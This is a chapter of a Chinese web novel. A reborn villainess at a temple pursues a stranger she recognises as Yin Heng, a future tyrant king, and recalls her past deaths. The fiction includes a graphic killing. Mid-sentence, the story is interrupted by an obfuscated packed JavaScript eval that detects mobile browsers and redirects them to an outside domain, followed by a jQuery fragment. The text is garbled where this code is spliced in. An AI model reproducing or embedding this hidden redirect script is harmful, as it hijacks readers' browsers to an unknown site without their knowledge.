九月初八,焚香礼佛日。
自圣人登基后,大齐河清海晏,但太后身体状况急转直下,圣人遂下旨,每岁九月初八举国焚香为太后娘娘祈福。
谢销玉给庙中佛像金身上了香,掌心合十,眉眼低垂。寺庙中檀香缭绕,香客络绎不绝。堂上佛像神情舒缓而悲悯,窥着不远处的群山。
“娘子。”
惊蛰附耳过来:“我方才瞧见蔺公子也带着阿满阿竹来上香了,只不过现下往后殿的方向去了。”
谢销玉神色平静,点了点头:“那我一会儿去寻师兄。”
她是随谢家女眷一同来庙中祈福的,三夫人带着谢连翘去后殿取签了,二夫人嫌庙中烟味呛鼻,也一同跟了去,前殿只剩她一人敬香。
“娘子要掷香袋吗?”
惊蛰说的是庙前那颗红树,民间传闻只要将愿望写于红纸中,系于香袋里抛至红树上便可实现,抛得越高越灵验。
谢销玉摇了摇头:“不必。”
她倒没什么愿望,也从不信怪力乱神,此刻跪在蒲团之上,神色恹恹。
佛祖当然不会庇佑她。
惊蛰将谢销玉扶了起来:“那娘子也去后殿取签吧,给娘子讨个好彩头。”
今日来庙的香客格外多,谢销玉行至门前,抬头时却忽然瞥见黑压压的人群里一截红白色的衣袍。
那人身形颀长,肤色极白,还穿得这样鲜艳的衣裳,不知是哪家出来的俏郎君。
只消这一眼,便让她整个人愣在了原地,不啻雷击。
他怎么在这里?
惊蛰鲜少见得娘子露出这般的表情,扯了扯谢销玉的袖子:“娘子,你怎么了?”
“你在这里等着我。”
谢销玉声音有些抖,拍了拍惊蛰的手,旋即大踏步追了出去。
惊蛰呆在了原地,眼睁睁看着娘子挤进了人来人往的香客中,很快就不见了身影。
谢销玉此刻心急如焚。
那人立于人群中,墨发束冠,面上无悲无喜。他似乎隔着人流淡淡望了她一眼,但她被身边人不留神推搡了一下,眨眼间那人就不知了去向。
谢销玉穿过人群,四下张望。
心在微微发颤。
来来往往的人被她抛在身后,不知何时,谢销玉就追到了一处僻静地。
院中栽着几棵梅树,此时正值深秋,梅树还未开花,枝丫瞧着有些光秃秃的。她喘着气,往前走了两步,发现四下无人。
难道方才是自己眼花了么?
谢销玉正欲转身,却忽然听闻一道阴恻恻的声音自背后响起:“好大的胆子。”
一股梅香骤然擦过她的耳骨。掌风自西侧而来,她的余光瞥见一截红白的颜色,谢销玉迅速翻过身出手格挡,以一种抵御的姿态和来人对视上。
来人高鼻红唇,长眉入鬓,一双凤眸俏似观音,正冷冷地望着她。
他一双手上青络纵横,蔓延出淡淡的死气。宽大的衣袖因为动作滑落,露出手臂上蜿蜒扭曲的刀痕。有些刀痕像是新添的伤,还未曾结痂,因为这一用力,有血珠涌了出来。
甜腻的,奇异的香味,顿时盈满了她的鼻腔。
——“你为何要跟踪我?”
青年低垂着眼,望着与他对峙的女郎。
她因为方才的疾跑,面色已不再苍白,透出了几分鲜活的血气来,阴郁的猫儿瞳里仿佛翻涌着墨色的海。
谢销玉目光怔怔。青年嗓音清冽,恍惚间,与不知多少世前的话骤然重叠——
“你为何要杀谢南音?”
……
阿竹走在前面,阿满走在中间,蔺淮祯跟在后面。
庙中的方丈与公子是熟识,三人方取了签,阿竹兴冲冲地跑到阿满旁边,将手中的签子递给蔺淮祯瞧:“公子你瞧,是上签!”
木签上用朱砂刻着小篆字体,写的是一个“吉”字。
阿满睨了他一眼:“瞧,傻人有傻福。”
阿竹被怼,鼻尖朝天“哼”了一声:“那你的签子是什么?”
“……”
阿满拿出手中的签子,上面写着一个“中平”。
阿竹凑过来,放声嘲笑:“你连傻子都不如!”
“……”
阿满和蔺淮祯双双沉默了。
两人在前面打打闹闹,蔺淮祯则慢慢走在了后面。
“阿弥陀佛,金刚经有曰:‘一切有为法,如梦幻泡影,如露亦如电,应作如是观’。老衲观蔺檀越面有郁气,业障缠覆,只规劝檀越一句:‘一念离真,皆为妄想’。”
方丈的话仿佛还响在耳边,青衣公子垂下了眸,指尖摩挲在袖中的木签之上。
那上面赫然是“大凶”二字。
他面色如常,只在阿满阿竹追逐嬉笑时,才对着虚空喃喃道:“我心匪石,不可转也。”
庙外风起过苍穹。
三人走到了前殿,却见惊蛰一脸呆滞地站在红树下,满脸生无可恋。
“惊蛰姐姐,你怎么一人在这里?玉娘子呢?”
阿竹蹦蹦跳跳着跑了过来。惊蛰见他们三人,两眼终于恢复了些许神采:“蔺公子!奴婢与娘子本是来庙中敬香的,谁料娘子突然看到了谁,叫奴婢留在原地就追了出去。”
蔺淮祯眼眸蓦然一沉。
“卿卿往哪里去了?”
惊蛰指了指谢销玉离开的方向:“在那里。”
**
谢销玉垂着眼,望着面前红衣公子小臂上纵横的刀痕。那股奇异的香味愈来愈浓,直至此刻她才确认了几日前心中的疑惑。
这世界的主线剧情是围绕女主和她的三个男主展开的,而这三人,分别是剑客沈隽、太子萧瑾与燕国国主殷珩。
谢销玉清晰地记得长剑挽脖与毒酒穿肠的痛意,那是原剧情中,她作为恶毒女配被赐死的命定结局。
纵使死期将至,她也高高扬起手中的匕首狠狠刺入他们的脖颈中,誓要将害她的人统统拖入地狱里。
见谢销玉不回应,红衣公子似有不耐,逼近几分,音色极冷:“说,为何要跟踪我?”
只不过这三人,有一人是例外。
燕国国主,殷珩。
世人道殷珩此人暴戾恣睢,残害忠良,臣民惴惴不安,为天地所不容。可当她被带至金殿上时,他只是轻飘飘拂袖,命人松开了她,并未如先前那二人一样杀了她。
“你为何要杀谢南音?”
他漫不经心地询问,乌发如墨却并未冠起,整个人苍白而瘦削,眉目间垂着淡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457935|169601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淡的倦怠。
谢销玉的肩膀因为兴奋而发抖,她抬起赤红的双目,唇角扬起了高高的弧度:“因为她该死。你也该死。”
听见这话,殷珩愣住了,良久,他才蓦地大笑起来。
“是啊,孤该死。”
玄色冕服下,指骨嶙峋的手掐住了她的下颌。冰冷的冕旒撞在她面上,生疼。谢销玉被迫抬起头,望见了那双玉石一样的眼眸中疯狂的神色。
那是比血还要浓稠的恨意,却不是对着她的。只一眼,谢销玉便明白了,殷珩是和她一样的疯子。
“松手。”
熟悉的声音突然响起,打破了二人间嚣张跋扈的气氛。殷珩先是一愣,便骤然卸了力,与谢销玉分开。
谢销玉喘了口气,紧接着便落入带着雪松气息的怀抱,蔺淮祯扶着她,声音急促:“卿卿,你怎么样?”
她眼前终于恢复了几分清明,抬眼看向蔺淮祯:“师兄,我无事。”
见二人姿态亲昵,殷珩冷笑一声,慢条斯理地拂了拂衣袖上并不存在的灰:“原来是你那自小捡回来,捧在手里怕掉了含在口中怕化了那个小师妹?”
此话一出,对面两人皆神态一僵。
蔺淮祯轻咳了一声,松开了抓着谢销玉的手,向她介绍:“卿卿,此人是我旧友,名唤……”
“在下姓王,单从一个行字。”
殷珩声音懒散,一双凤眸微微眯起,望着眼前的小娘子。
谢销玉扯了扯嘴角,皮笑肉不笑:“原来是王公子。”
殷珩殷珩,拆开来可不就是王行二字?
只是她心中疑窦暗生,师兄为何会结识殷珩?
按照现在的时间来算,殷珩还未登基,还未成为那个人人喊打的暴君。照理说燕国此时内乱,燕帝病重,五王夺嫡,他身为燕国皇子,为何会突然出现在齐国境内?
“……对。王公子本是随我今日来庙中敬香的,却不想与你撞上了。”
殷珩嗤笑一声。
“原是一场误会。在下还想是哪家小娘子,一路尾随着在下跟到了这里,既如此,在下先告辞了。”
说罢,他揖了一礼,拂袖离开。
谢销玉望着殷珩离去的背影,忽而扭头,看向蔺淮祯:“师兄,那王公子是与你如何相识的?”
听见这话,蔺淮祯愣怔片刻。
“我与他幼年便相识了。王……王公子是一个很温柔的人,助我良多,他是我的挚友。”
温柔……
谢销玉面无表情。
殷珩这暴君的名声来得不假。虽然她现在仍不知道为何当初落入他手中,他并未杀了她,但是谢销玉曾亲眼见过他暴虐的一面。
燕都皇宫笙歌曼舞,酒肉池林。她看见年轻的帝王眉眼含笑,大殿上舞姬轻甩罗袖,娇笑着钻入他怀中。
“陛下能饮一杯无?”
帝王凤眸扬起,将舞姬搂入怀中,抬起她娇俏的下巴:“眼睛生得不错。”
舞姬来不及狂喜,下一秒,刀光剑影,争鸣不休。丝竹声骤然停了,他将怀中的美人漫不经心抛开,血落生花时蔓延开一地艳色。
“如此美的眼睛,正好可做琵琶灯上缺失的夜明珠。”
他白皙的面上染了血,妖冶如鬼神。